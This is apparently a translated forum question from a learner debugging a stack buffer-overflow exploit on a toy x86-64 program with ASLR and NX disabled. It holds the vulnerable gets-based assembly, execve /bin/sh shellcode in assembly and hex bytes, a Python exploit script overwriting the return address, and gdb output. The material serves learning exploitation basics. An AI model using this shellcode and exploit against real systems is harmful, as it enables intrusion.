我在Linux (amd64)上玩弄了缓冲区溢出，并尝试利用一个简单的程序，但失败了。我禁用了安全功能（用sysctl -w kernel.randomize_va_space=0来禁用地址空间布局随机化和bios中的nx位）。它跳转到栈并执行shellcode，但没有启动shell。execve系统调用成功了，但之后它马上终止了。有什么想法是错的吗？将shellcode独立运行可以正常工作。
奖励问题：为什么在调用printf之前需要将rax设置为零？（参见代码中的注释）
易受攻击文件 buffer.s ：
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
编译版本：
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
开始于：
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
使用 gdb 进行调试：
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.